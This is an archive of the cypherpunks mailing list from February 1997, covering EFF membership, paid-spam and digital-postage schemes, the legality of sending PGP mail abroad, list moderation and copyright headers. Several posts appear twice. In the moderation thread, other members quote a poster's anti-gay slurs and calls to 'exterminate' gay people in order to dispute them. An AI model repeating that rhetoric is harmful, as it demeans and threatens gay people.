<199702141704.JAA03249@netcom10.netcom.com> Message-ID: At 9:36 AM -0800 2/14/97, Declan McCullagh wrote: >As for the "rift," may observers said at the time that DT was a Jerry >Berman "appeasement and capitulation" scheme. Note Berman no longer works >at EFF. Note EFF is no lnoger in DC. > >And yes, I've read Tim May's essay on his EFF membership. I probably would >have had the same reaction. > It might be a useful minor footnote for me to say that I did end up renewing for a later year (though I kept getting mail as "Tim Mat"). I was semi-persuaded that they'd learned their lesson. I stopped paying attention to them a while back, though, and haven't considered renewing. They just came to seem to be irrelevant as a "membership driven" organization. (There were reportedly only about 2000 individual members as of not too long ago, and the EFF does little recruiting for new individual members. They are definitely not following the NRA or AARP models.) Their legal work support has been very nice, of course. As for Berman, he put on the "SAFE" forum, which I thought was very well done. So, he redeemed himself, for me. (I don't really understand personally whether the Digital Telephony (CALEA, Computer Assistance for Law Enforcement) thing is Just Bad, or Really Bad, or Even Worse, or Inconceivably Evil. No one seems to know what is expected for Internet telephony providers, for example, or whether DT/CALEA could be used to shut down remailers, as some of us fear. If DT/CALEA turns out to be Really Bad, or Even Worse, I'll have to put Berman back on my list of less desirable folks. :-}) --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From froomkin at law.miami.edu Fri Feb 14 20:28:20 1997 From: froomkin at law.miami.edu (Michael Froomkin - U.Miami School of Law) Date: Fri, 14 Feb 1997 20:28:20 -0800 (PST) Subject: Good Bye Cypherpunks! In-Reply-To: <199702142338.SAA18913@homeport.org> Message-ID: Yes, I get spam too. But it's still less than the spam directed at an old account on another machine, that posted regularly to usenet until about 3 years ago! And hasn't been used at all since... On Fri, 14 Feb 1997, Adam Shostack wrote: > Date: Fri, 14 Feb 1997 18:38:24 -0500 (EST) > From: Adam Shostack > To: "Michael Froomkin - U.Miami School of Law" > Cc: shamrock at netcom.com, tcmay at got.net, cypherpunks at toad.com > Subject: Re: Good Bye Cypherpunks! > > Michael Froomkin - U.Miami School of Law wrote: > | Just for the record. I will not post to USENET given the spamming that > | seems to go to IDs that appear there. > > Your postings appear on the web, as part of the cypherpunks > archives at infinity.nus.sg. > > http://infinity.nus.sg/cypherpunks/current/0089.html > > There seem to be robots that search the web; I've never even > read usenet from this account, and I get spam. > > Adam > > > -- > "It is seldom that liberty of any kind is lost all at once." > -Hume > > == The above may have been dictated via Dragon Dictate 2.52 voice recognition. Please be alert for unintentional word substitutions. A. Michael Froomkin | +1 (305) 284-4285; +1 (305) 284-6506 (fax) Associate Professor of Law | U. Miami School of Law | froomkin at law.miami.edu P.O. Box 248087 | http://www.law.miami.edu/~froomkin Coral Gables, FL 33124 USA | It's warm here. From jimbell at pacifier.com Fri Feb 14 20:40:03 1997 From: jimbell at pacifier.com (jim bell) Date: Fri, 14 Feb 1997 20:40:03 -0800 (PST) Subject: More on digital postage Message-ID: <199702150439.UAA04775@mail.pacifier.com> At 03:31 AM 2/14/97 -0800, John C. Randolph wrote: > >Tim may says: > >>By the way, I think the "junk fax" and "junk phone call" laws are clearcut >>violations of the First Amendment. I understand why the herd _wants_ these >>laws, as it reduces the costs involved in replacing fax paper, running to >>the telephone only to find someone trying to sell something, etc., but it >>is quite clearly a prior restraint on speech, however well-intentioned. > >I have to disagree here. The junk fax law is a restraint on unauthorised >use of property, i.e. *my* fax machine, *my* phone, etc. However, you connect that fax machine to a phone line, when you know full well that should it be enabled to do so, it will automatically pick up the phone when it "hears" a ring, and will print out a fax based on information provided. It isn't clear why sending a fax is any "wronger" than mailing junk mail, or making a (voice) phone call to somebody. Jim Bell jimbell at pacifier.com From jimbell at pacifier.com Fri Feb 14 20:40:07 1997 From: jimbell at pacifier.com (jim bell) Date: Fri, 14 Feb 1997 20:40:07 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 Message-ID: <199702150439.UAA04787@mail.pacifier.com> At 10:12 AM 2/13/97 -0500, Pete Capelli wrote: >jim bell wrote: >> >> At 03:25 PM 2/12/97 -0800, Timothy C. May wrote: > > > >> even more happy to pay, say, 10 cents to each recipient. At that rate, an average >> person would probably receive enough "spam" to pay for his Internet >> account, quite analogous to the way advertiser-supported TV is presented to >> the public for no explicit charge. > > Yes, but why does monetary compensation make it then O.K.? What, exactly, is your definition of "O.K."? I didn't say that would make it "O.K." Rather, the inclusion of the money makes the spam somewhat more tolerable of an intrusion than it would otherwise be. Jim Bell jimbell at pacifier.com From jimbell at pacifier.com Fri Feb 14 20:40:59 1997 From: jimbell at pacifier.com (jim bell) Date: Fri, 14 Feb 1997 20:40:59 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 Message-ID: <199702150440.UAA04809@mail.pacifier.com> At 02:05 AM 2/14/97 -0600, snow wrote: >Pete: >> Yes, but why does monetary compensation make it then O.K.? I'd rather >> pay for my Internet access, then be bombarded by spam, no matter what >> they paid me! I think the best soln. is the one that is currently in >> place for phone calls - they can call once, but if I tell them not to >> call me again and they do, I can then begin legal action against them. >> I pay more per month for my phone service than my Internet service ( >> although in NY, *everything* is more expensive. ), and junk phone calls >> are way more intrusive then spam. > > I figure if this scheme comes to fruition, I'll just set up a seperate >account (or procmail) to filter out the spam, deposit the coin, and go on >about my business. That's fine...that's EXACTLY the way the system would work! Intentionally so! The purpose of the payment is not because the sender feels some sort of legal obligation to pay; rather it's analogous to a tip to a waiter. The sender makes the payment based on however much he _wants_ you to pay attention to his message, but fully aware that there is no guarantee that you'll do so. Jim Bell jimbell at pacifier.com From froomkin at law.miami.edu Fri Feb 14 20:46:21 1997 From: froomkin at law.miami.edu (Michael Froomkin - U.Miami School of Law) Date: Fri, 14 Feb 1997 20:46:21 -0800 (PST) Subject: In-Reply-To: <855947474.1029113.0@fatmans.demon.co.uk> Message-ID: [cc list trimmed!] On Fri, 14 Feb 1997 paul at fatmans.demon.co.uk wrote: > > > Is it legal or illegal to send a > > PGP encrypted message from the US to someone in another country? > > Yes. > Rubbish. It is perfectly legal. See generally http://www.law.miami.edu/~froomkin/articles/clipper.htm PS. His sexist comments are rubbish too. I usually like his crypto posts, however, as long as they are technical rather than legal... == The above may have been dictated via Dragon Dictate 2.52 voice recognition. Please be alert for unintentional word substitutions. A. Michael Froomkin | +1 (305) 284-4285; +1 (305) 284-6506 (fax) Associate Professor of Law | U. Miami School of Law | froomkin at law.miami.edu P.O. Box 248087 | http://www.law.miami.edu/~froomkin Coral Gables, FL 33124 USA | It's warm here. From jimbell at pacifier.com Fri Feb 14 21:47:29 1997 From: jimbell at pacifier.com (jim bell) Date: Fri, 14 Feb 1997 21:47:29 -0800 (PST) Subject: Letter Re: Kahn Supporting GAK Message-ID: <199702150547.VAA12326@mail.pacifier.com> At 09:35 PM 2/5/97 +0000, Robert Rothenburg 'Walking-Owl' wrote: >Good point: but I've seen a few refs from LEAs about "Drug Dealer X >who we can't talk about" or "Child Pornographer Y who we can't talk >about" (in lieu of cases being digested by the court system) so I >didn't harp on that point. > >A point I did leave out was that if they already knew these people >were criminals and were building cases against them, monitoring them >enough to know they used crypto, then do they really need to bother >with listening in to the exact message? I think it would be appropriate to insist that these guys (the LEAs) document their need for decryption, by providing "us" (the public) with an encrypted version of the data that they have accessed but cannot understand, as well as its source and what case it's associated with. The LEAs would encrypt it and publicize it (not openly identifying the details) but with the promise that the key to unlock the information would be released within, say, a year or even earlier once a case is brought. Included within the encrypted identification would be references sufficient to identify the case involved. If they have any doubts as to why they should do this, we should point out that we see no reason to believe their claims, but we want to give them the maximum opportunity to prove them without requiring that they spill the beans, completely, now. Jim Bell jimbell at pacifier.com From antimod at nym.alias.net Fri Feb 14 22:02:47 1997 From: antimod at nym.alias.net (Against Moderation) Date: Fri, 14 Feb 1997 22:02:47 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: Message-ID: <19970215060243.25796.qmail@anon.lcs.mit.edu> aga writes: > > > ... Remember the previous cypherpunk who stated that the > > > gays "created and run usenet." > ... > It was on the list last month, and the person was serious and correct. > That is exactly why we must now kill all of usenet as it stands, for > a new heterosexual beginning. > > ... We are here to > "rip new assholes" in the faggots who have ruined the net thus far, > and to take over and make this net heterosexual oriented. So if I follow your argument, gays created and run usenet, and have also ruined it thus far. Can you just clarify a few points? I'm trying to follow your premise here [which I don't necessarily believe], and it seems contradictory. * If gays ruined usenet, does that mean at one point usenet was a good thing before it was ruined? If so, gay people at least deserve credit for creating something good, even if they didn't manage to run it well. * If Usenet was created and ruined by terrible people, what exactly is your interest in it? Why don't you just create an alternate news network. You can easily do this using software these gay people have so graciously given you the source for, and then you could be the authority over the entire heterosexual news hierarchy. * If people you consider gay can't hold any position of authority on the internet, why do you acknowledge their authority by trying to fight them in particular? I mean, what authority do these gay people have over a gay, ruined usenet that's so important you need to rip new assholes in them? I just don't understand whom you are fighting over what and why. From ichudov at algebra.com Fri Feb 14 22:09:00 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Fri, 14 Feb 1997 22:09:00 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <19970215060243.25796.qmail@anon.lcs.mit.edu> Message-ID: <199702150605.AAA13070@manifold.algebra.com> Against Moderation wrote: > aga writes: > > > > ... Remember the previous cypherpunk who stated that the > > > > gays "created and run usenet." > > ... > > It was on the list last month, and the person was serious and correct. > > That is exactly why we must now kill all of usenet as it stands, for > > a new heterosexual beginning. > > > > ... We are here to > > "rip new assholes" in the faggots who have ruined the net thus far, > > and to take over and make this net heterosexual oriented. > > So if I follow your argument, gays created and run usenet, and have > also ruined it thus far. Can you just clarify a few points? I'm > trying to follow your premise here [which I don't necessarily > believe], and it seems contradictory. > > * If gays ruined usenet, does that mean at one point usenet was a > good thing before it was ruined? If so, gay people at least > deserve credit for creating something good, even if they didn't > manage to run it well. Some say, in fact, that Internet and USENET have been created by Dr. Grubor. > I just don't understand whom you are fighting over what and why. - Igor. From antimod at nym.alias.net Fri Feb 14 22:25:45 1997 From: antimod at nym.alias.net (Against Moderation) Date: Fri, 14 Feb 1997 22:25:45 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <199702142035.MAA01111@kachina.jetcafe.org> Message-ID: <19970215062538.27135.qmail@anon.lcs.mit.edu> Dave Hayes writes: > Don't you get it? Real censorship issues do not arise until someone > rocks the boat. It takes someone to rock the boat to make you aware > of your own prejudices of that nature. If it takes attacking > homosexuals and pissing them off enough to make them show their > true colors and begin censorship...so be it. Why be civil when that > civility serves to hide that which is ultimately against free speech? > > You'll find those of us who -truly- want free speech are extremely > good at ignoring what we don't like. Perhaps I did not make myself clear. I never suggested Dr. Grubor's views should be suppressed. Not only do I believe he has every right to express them, I also believe (as I explained) that I think there is value in inducing censorship as he has, so as to get people's censorious tendencies out in the open where they can be fought. However, Dr. Grubor is no advocate of free speech (though I'm sure he thinks he is). If Dr. Grubor had his way, he would severely restrict the rights of gay people to express themselves on Usenet. Advocates of free speech must truly tolerate all speech, even that which they find strongly unpleasant or disturbing. My point was therefore that Dr. Grubor would do better to say "Exterminate all faggots" than "Exterminate all faggots in the name of free speech," and that those of us who truly support freedom of speech would do well to distance ourselves from Dr. Grubor, while still fully supporting his right to express his opinions. From ichudov at algebra.com Fri Feb 14 22:38:16 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Fri, 14 Feb 1997 22:38:16 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 In-Reply-To: <199702150440.UAA04809@mail.pacifier.com> Message-ID: <199702150634.AAA13324@manifold.algebra.com> jim bell wrote: > At 02:05 AM 2/14/97 -0600, snow wrote: > >Pete: > >> Yes, but why does monetary compensation make it then O.K.? I'd rather > >> pay for my Internet access, then be bombarded by spam, no matter what > >> they paid me! I think the best soln. is the one that is currently in > >> place for phone calls - they can call once, but if I tell them not to > >> call me again and they do, I can then begin legal action against them. > >> I pay more per month for my phone service than my Internet service ( > >> although in NY, *everything* is more expensive. ), and junk phone calls > >> are way more intrusive then spam. > > > > I figure if this scheme comes to fruition, I'll just set up a seperate > >account (or procmail) to filter out the spam, deposit the coin, and go on > >about my business. > > > That's fine...that's EXACTLY the way the system would work! Intentionally > so! The purpose of the payment is not because the sender feels some sort of > legal obligation to pay; rather it's analogous to a tip to a waiter. > > The sender makes the payment based on however much he _wants_ you to pay > attention to his message, but fully aware that there is no guarantee that > you'll do so. I can suggest a scheme where a fee would be attached to the message, and the recipient would be able to get the money only after having read and understood the message. For example, you might receive the following message (it could be encrypted by your public key to preserve the cash from the MITM): To: jimbell at pacifier.com From: spammer at dm1.com (Direct Marketing, by way of telysis.com) Subject: an encrypted cyberdollar for you X-Encrypted-Postage: 0891281229qwqoifoweihjrfiohsdlifhsluire82374029849 weuiyruiy3478ye874t23876459823y4897y5897y23849y589 39847578r3498yt893y75t9843y75t897y4385t9y74897gy77 X-Encryption-Key: in the message body Dear Jim, Here's one cyberdollar for you. It is "locked" by an encryption key. The cybercoin is encrypted by an IDEA key and you can find out the key by reading the message below: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ Valentines' day presents at www.cheap-stuff.com! An ideal Valentine's day present for your significant other, at a reduced cost for you! You can buy your loved one a thousand used condoms (mint condition) at a reduced rate of ONLY $5.95! Visit us at http://www.cheap-stuff.com/cgi-bin/condoms/key.cgi?name=jimbell to get your postage! @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ The encryption key is located at the URL above. ########################################################################### My opinion on this: I personally feel that this scheme is the way to go for spammers. Obviously, it is possible to build mail readers that would verify some kind of trusted signature on the attached postage, and would highlight all such messages. The meaning of signature is "these people are not crooks, there really is an encrypted dollar there". Clearly, spammers who pay their readers to read their messages (and who do get them to read) will have a very high response rate. That may justify adding postage to their letters. The advantages are obvious. The disadvantage is a possibility of someone stealing the money on the way, if the letters are not encrypted. - Igor. From snow at smoke.suba.com Fri Feb 14 23:25:43 1997 From: snow at smoke.suba.com (snow) Date: Fri, 14 Feb 1997 23:25:43 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 In-Reply-To: <199702150634.AAA13324@manifold.algebra.com> Message-ID: <199702150744.BAA03785@smoke.suba.com> Igor said: > I can suggest a scheme where a fee would be attached to the message, > and the recipient would be able to get the money only after having > read and understood the message. > > For example, you might receive the following message (it could be encrypted > by your public key to preserve the cash from the MITM): > do get them to read) will have a very high response rate. That may > justify adding postage to their letters. > > The advantages are obvious. The disadvantage is a possibility of someone > stealing the money on the way, if the letters are not encrypted. That would be great. Sit home all day and hit web pages for a living. From ichudov at algebra.com Fri Feb 14 23:31:24 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Fri, 14 Feb 1997 23:31:24 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 In-Reply-To: <199702150744.BAA03785@smoke.suba.com> Message-ID: <199702150726.BAA13632@manifold.algebra.com> snow wrote: > > Igor said: > > I can suggest a scheme where a fee would be attached to the message, > > and the recipient would be able to get the money only after having > > read and understood the message. > > > > For example, you might receive the following message (it could be encrypted > > by your public key to preserve the cash from the MITM): > > > do get them to read) will have a very high response rate. That may > > justify adding postage to their letters. > > > > The advantages are obvious. The disadvantage is a possibility of someone > > stealing the money on the way, if the letters are not encrypted. > > That would be great. Sit home all day and hit web pages for a living. > Well, they will stop sending you money if they find out that you do not buy their products. - Igor. From scotta at sauge.com Sat Feb 15 00:25:57 1997 From: scotta at sauge.com (Scott Auge) Date: Sat, 15 Feb 1997 00:25:57 -0800 (PST) Subject: pgp encrypted messages Message-ID: <199702150825.AAA07169@toad.com> Scott A. Hommel wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Is it legal or illegal to send a > PGP encrypted message from the US to someone in another country? > Suppose it depends on what ya put IN the message.... -- How has the government interfered in your life today? From omegam at cmq.com Sat Feb 15 00:26:06 1997 From: omegam at cmq.com (omegam at cmq.com) Date: Sat, 15 Feb 1997 00:26:06 -0800 (PST) Subject: Procmail during the transition, anyone? Message-ID: <199702150826.AAA07200@toad.com> ichudov at algebra.com writes: > subs-cri-be to the unedited list. Nope. I get duplicates with new ID's here, and I have duplicate ID removing recipe enabled. I am subscribed to the list as cyberpass.net now, and not on toad anymore, al least I shouldn't be. Should be resolved by the 20th ;). me -- --------------------------------------------------------------------- Omegaman |"When they kick out your front door, PGP Key fingerprint = | How are you gonna come? 6D 31 C3 00 77 8C D1 C2 | With your hands upon your head, 59 0A 01 E3 AF 81 94 63 | Or on the trigger of your gun?" Send email with "get key" as the| -- The Clash, "Guns of Brixton" "Subject:" to get my public key | _London_Calling_ , 1980 --------------------------------------------------------------------- From omegam at cmq.com Sat Feb 15 00:26:11 1997 From: omegam at cmq.com (omegam at cmq.com) Date: Sat, 15 Feb 1997 00:26:11 -0800 (PST) Subject: Good Bye Cypherpunks! Message-ID: <199702150826.AAA07213@toad.com> Michael Froomkin writes: > Just for the record. I will not post to USENET given the spamming that > seems to go to IDs that appear there. > > If any of you reading this are interested in law&crypto topics, please > bookmark my homepage, and vist every so often. I suggest that you munge up your from line and possibly your reply-to address in Usenet postings. Folks who actually want to communicate with you can derive your address from your .sig. By the way, I have intentions of including your web page(s) as references in the cypherpunks-resources faq I am producing. Any objections to this? (I know it's in your .sig and you want to advertise it, but it just strikes me as _polite_ to ask.) me -- --------------------------------------------------------------------- Omegaman |"When they kick out your front door, PGP Key fingerprint = | How are you gonna come? 6D 31 C3 00 77 8C D1 C2 | With your hands upon your head, 59 0A 01 E3 AF 81 94 63 | Or on the trigger of your gun?" Send email with "get key" as the| -- The Clash, "Guns of Brixton" "Subject:" to get my public key | _London_Calling_ , 1980 --------------------------------------------------------------------- From ravage at EINSTEIN.ssz.com Sat Feb 15 00:26:16 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Sat, 15 Feb 1997 00:26:16 -0800 (PST) Subject: Fuck UseNet (fwd) Message-ID: <199702150826.AAA07223@toad.com> Forwarded message: > Date: Fri, 14 Feb 1997 14:39:41 -0800 (PST) > From: Kent Crispin > But the distributed mailing list is by far the most interesting > solution. Contrary to what some have claimed, it really isn't the > same as usenet -- it allows for distributed control. There is no > doubt that the operator of a mail list host should have the freedom > to set his or her policies as they see fit -- it is their machine, > and their responsibility. And contrariwise, subscribers should have > the freedom to chose list hosts with compatible philosophies. Perhaps in addition to the X-foo structures we have discussed already we might consider adding, X-distrib-policy: foo Where foo might be, Public Domain All rights reserved, contact author for redistribution Distribution for non-commercial uses permitted Refer to authors header Copyleft etc. or whatever the policy might be for a given remailer. This would significantly aid folks in their shopping around. Jim Choate CyberTects ravage at ssz.com From snow at smoke.suba.com Sat Feb 15 00:26:20 1997 From: snow at smoke.suba.com (snow) Date: Sat, 15 Feb 1997 00:26:20 -0800 (PST) Subject: Cypherpunks afraid of spam? Message-ID: <199702150826.AAA07228@toad.com> > It seems very strange that the denziens of this list, reputed to be gutsy > enough to take on the FBI, NSA, CIA, and White House, would be scared > away from a discussion forum (Usenet) by uninvited email. > We'd better hope they never figure out Cypherpunks, Guardians of > Privacy and Defenders of Free Speech, are afraid of spam. It isn't the Once and a While Big Ass Knock Down Drag Outs that kick your ass, it is the mosquito's and the heat, the moldy bread and the drip drip drip of the constant rain. Even Solid rock gets worn away by the steady drip drip drip of the rain. I hate that drip. From ravage at EINSTEIN.ssz.com Sat Feb 15 00:26:22 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Sat, 15 Feb 1997 00:26:22 -0800 (PST) Subject: Private property & the cypherpunks list(s) (fwd) Message-ID: <199702150826.AAA07234@toad.com> Forwarded message: > Date: Fri, 14 Feb 1997 17:39:32 -0800 > From: Toto > Subject: Re: Private property & the cypherpunks list(s) (fwd) > Personally, I try to let people know that they may use even my > private email in any manner they see fit. I have no objection to > even those who disagree with me using it to attack me or misdirect > others, or whatever. > I agree with Jim's 'defacto public domain' idea, as long as it > does not conflict with the reality of the need for intellectual > property rights. > e.g. - copyright and patent law I am not preventing people from retaining their rights. I simply recognize that there are entirely too many different views of 'fair use' to create a blanket order. I also recognize that one responsibility in a democracy of all citizens is the protection of the results of human effort. The best way to protect and preserve information is to place it in the public domain. Of course the other option is to sell large 'collections' to groups like Microsoft who would end up charging you out the ya-ya for looking at 'their' pretty pictures. Wonder what DaVinci would have thought of the way we treat HIS paintings? But I digress. Given that people have many highly individualistic views about copyright of their expression and the need to preserve that expression we must ask ourselves how? One obvious answer is to place everything in the public domain, I am shure the information race we experience now would be nothing compared to that worlds output. However, this prevents truly gifted individuals from being able to spend the time (eg lifetimes) needed to truly master some forms of expression. We certainly don't want to support them on the public dole, so there must be some way for them to make a living off their work. So we recognize their originality or inherent worth in their expression. We also recognize that there can't be complete and total protection because most people would not find a buyer for their expression simply from lack of knowledge. So, lets find a middle ground, one where people can tell other people about things they experience as well as feel secure that their efforts have some inherent worth and also some failsafe to ensure that as much effort as possible gets archived. So let's require each person to include their prefered choice of copyright in their communications, otherwise it falls into the public domain. The only resolution of this approach is that everyone gets what they want. Not relevant in this forum, but I also believe that material being held in copyright should fall into the public domain when the copyright holder dies. > If you are having trouble understanding the concept I am dealing > with, here, then I suggest that you drink a bottle of Scotch and > read this post again. That's certainly one way to get in the correct attitude...;) Jim Choate CyberTects ravage at ssz.com From ravage at einstein.ssz.com Sat Feb 15 00:26:29 1997 From: ravage at einstein.ssz.com (Jim Choate) Date: Sat, 15 Feb 1997 00:26:29 -0800 (PST) Subject: Private property & the cypherpunks list(s) (fwd) Message-ID: <199702150826.AAA07239@toad.com> Forwarded message: > From: Kent Crispin > Subject: Re: Private property & the cypherpunks list(s) (fwd) > Date: Fri, 14 Feb 1997 14:10:36 -0800 (PST) > Jim, if I put "Copyright (c) 1997 by Kent Crispin. All Rights > Reserved." in my .sig, would that constitute a "fair-use header"? As I understand it '(c)' is not considered acceptably close to the normal copyright symbol. What I have been advised is to always spell out 'copyright '. Jim Choate CyberTects ravage at ssz.com From azur at netcom.com Sat Feb 15 00:27:30 1997 From: azur at netcom.com (Steve Schear) Date: Sat, 15 Feb 1997 00:27:30 -0800 (PST) Subject: [Declan McCullagh: "A List Goes Down In Flames," from Netly] Message-ID: <199702150827.AAA07247@toad.com> I want to thank you for the years of graciously hosting the cypherpunks list. Although I have only been active on the list since September, I have lurked much longer and found it to be an invaluable source of information, networking, discourse and inspiration. I respect your decisions first to experiment with moderation and later to pull the plug. I regret your attempts in resolving the uncivil behavior of 'the few' failed and that some key posters, who had served as the 'backbone' of interesting discussion on the list, were driven off by the insuing clamor and the off-topic rants. So be it. One way or another the cypherpunks have spoken. So, now its on to Usnet and more focused/moderated lists. The LIST IS DEAD, long live THE LISTS! --Steve From reece at taz.nceye.net Sat Feb 15 00:27:55 1997 From: reece at taz.nceye.net (Bryan Reece) Date: Sat, 15 Feb 1997 00:27:55 -0800 (PST) Subject: Fuck UseNet Message-ID: <199702150827.AAA07251@toad.com> Delivered-To: reece-cpunks at taz.nceye.net Delivered-To: reece at taz.nceye.net Date: Fri, 14 Feb 1997 19:02:19 +0000 From: paul at fatmans.demon.co.uk Cc: cypherpunks at toad.com, cypherpunks at algebra.com, alt.cypherpunks at news.demon.net Sender: owner-cypherpunks at toad.com Precedence: bulk > So, basically, you're saying that the flight from censorship should > be toward a new CypherPunk 'home' where one is effectively censored > automatically unless one kisses the ass of a Cabal? Absolutely, It is really, as far as I see it anyway, just a stop-gap measure. The caballers haven`t got enough room to do their censorship on the 18000 or so big 7 groups so they decide to fuck up the alt. heirachy as well ;-) Hopefully Igor and co.`s network of Majordomo's should be fully operational soon (as I understand it two are up and a third is on it's way) then we can move back there. Might even get it finished before the 20th????? Why not a network of news servers with mail<->news gateways on some of them? It should even be possible to use the news spool as the queue, so that only info on who needs what messages need lie around rather than 42 copies of the message (something like nntpsend, just using smtp). I actually have some spare time this weekend to try implementing this. From jimbell at pacifier.com Sat Feb 15 00:41:01 1997 From: jimbell at pacifier.com (jim bell) Date: Sat, 15 Feb 1997 00:41:01 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 Message-ID: <199702150841.AAA07690@toad.com> At 10:12 AM 2/13/97 -0500, Pete Capelli wrote: >jim bell wrote: >> >> At 03:25 PM 2/12/97 -0800, Timothy C. May wrote: > > > >> even more happy to pay, say, 10 cents to each recipient. At that rate, an average >> person would probably receive enough "spam" to pay for his Internet >> account, quite analogous to the way advertiser-supported TV is presented to >> the public for no explicit charge. > > Yes, but why does monetary compensation make it then O.K.? What, exactly, is your definition of "O.K."? I didn't say that would make it "O.K." Rather, the inclusion of the money makes the spam somewhat more tolerable of an intrusion than it would otherwise be. Jim Bell jimbell at pacifier.com From froomkin at law.miami.edu Sat Feb 15 00:41:03 1997 From: froomkin at law.miami.edu (Michael Froomkin - U.Miami School of Law) Date: Sat, 15 Feb 1997 00:41:03 -0800 (PST) Subject: Message-ID: <199702150841.AAA07706@toad.com> [cc list trimmed!] On Fri, 14 Feb 1997 paul at fatmans.demon.co.uk wrote: > > > Is it legal or illegal to send a > > PGP encrypted message from the US to someone in another country? > > Yes. > Rubbish. It is perfectly legal. See generally http://www.law.miami.edu/~froomkin/articles/clipper.htm PS. His sexist comments are rubbish too. I usually like his crypto posts, however, as long as they are technical rather than legal... == The above may have been dictated via Dragon Dictate 2.52 voice recognition. Please be alert for unintentional word substitutions. A. Michael Froomkin | +1 (305) 284-4285; +1 (305) 284-6506 (fax) Associate Professor of Law | U. Miami School of Law | froomkin at law.miami.edu P.O. Box 248087 | http://www.law.miami.edu/~froomkin Coral Gables, FL 33124 USA | It's warm here. From snow at smoke.suba.com Sat Feb 15 00:41:08 1997 From: snow at smoke.suba.com (snow) Date: Sat, 15 Feb 1997 00:41:08 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 Message-ID: <199702150841.AAA07714@toad.com> Igor said: > I can suggest a scheme where a fee would be attached to the message, > and the recipient would be able to get the money only after having > read and understood the message. > > For example, you might receive the following message (it could be encrypted > by your public key to preserve the cash from the MITM): > do get them to read) will have a very high response rate. That may > justify adding postage to their letters. > > The advantages are obvious. The disadvantage is a possibility of someone > stealing the money on the way, if the letters are not encrypted. That would be great. Sit home all day and hit web pages for a living. From jimbell at pacifier.com Sat Feb 15 00:41:09 1997 From: jimbell at pacifier.com (jim bell) Date: Sat, 15 Feb 1997 00:41:09 -0800 (PST) Subject: More on digital postage Message-ID: <199702150841.AAA07715@toad.com> At 03:31 AM 2/14/97 -0800, John C. Randolph wrote: > >Tim may says: > >>By the way, I think the "junk fax" and "junk phone call" laws are clearcut >>violations of the First Amendment. I understand why the herd _wants_ these >>laws, as it reduces the costs involved in replacing fax paper, running to >>the telephone only to find someone trying to sell something, etc., but it >>is quite clearly a prior restraint on speech, however well-intentioned. > >I have to disagree here. The junk fax law is a restraint on unauthorised >use of property, i.e. *my* fax machine, *my* phone, etc. However, you connect that fax machine to a phone line, when you know full well that should it be enabled to do so, it will automatically pick up the phone when it "hears" a ring, and will print out a fax based on information provided. It isn't clear why sending a fax is any "wronger" than mailing junk mail, or making a (voice) phone call to somebody. Jim Bell jimbell at pacifier.com From jimbell at pacifier.com Sat Feb 15 00:41:12 1997 From: jimbell at pacifier.com (jim bell) Date: Sat, 15 Feb 1997 00:41:12 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 Message-ID: <199702150841.AAA07716@toad.com> At 02:05 AM 2/14/97 -0600, snow wrote: >Pete: >> Yes, but why does monetary compensation make it then O.K.? I'd rather >> pay for my Internet access, then be bombarded by spam, no matter what >> they paid me! I think the best soln. is the one that is currently in >> place for phone calls - they can call once, but if I tell them not to >> call me again and they do, I can then begin legal action against them. >> I pay more per month for my phone service than my Internet service ( >> although in NY, *everything* is more expensive. ), and junk phone calls >> are way more intrusive then spam. > > I figure if this scheme comes to fruition, I'll just set up a seperate >account (or procmail) to filter out the spam, deposit the coin, and go on >about my business. That's fine...that's EXACTLY the way the system would work! Intentionally so! The purpose of the payment is not because the sender feels some sort of legal obligation to pay; rather it's analogous to a tip to a waiter. The sender makes the payment based on however much he _wants_ you to pay attention to his message, but fully aware that there is no guarantee that you'll do so. Jim Bell jimbell at pacifier.com From jimbell at pacifier.com Sat Feb 15 00:41:13 1997 From: jimbell at pacifier.com (jim bell) Date: Sat, 15 Feb 1997 00:41:13 -0800 (PST) Subject: Letter Re: Kahn Supporting GAK Message-ID: <199702150841.AAA07717@toad.com> At 09:35 PM 2/5/97 +0000, Robert Rothenburg 'Walking-Owl' wrote: >Good point: but I've seen a few refs from LEAs about "Drug Dealer X >who we can't talk about" or "Child Pornographer Y who we can't talk >about" (in lieu of cases being digested by the court system) so I >didn't harp on that point. > >A point I did leave out was that if they already knew these people >were criminals and were building cases against them, monitoring them >enough to know they used crypto, then do they really need to bother >with listening in to the exact message? I think it would be appropriate to insist that these guys (the LEAs) document their need for decryption, by providing "us" (the public) with an encrypted version of the data that they have accessed but cannot understand, as well as its source and what case it's associated with. The LEAs would encrypt it and publicize it (not openly identifying the details) but with the promise that the key to unlock the information would be released within, say, a year or even earlier once a case is brought. Included within the encrypted identification would be references sufficient to identify the case involved. If they have any doubts as to why they should do this, we should point out that we see no reason to believe their claims, but we want to give them the maximum opportunity to prove them without requiring that they spill the beans, completely, now. Jim Bell jimbell at pacifier.com From tcmay at got.net Sat Feb 15 00:41:13 1997 From: tcmay at got.net 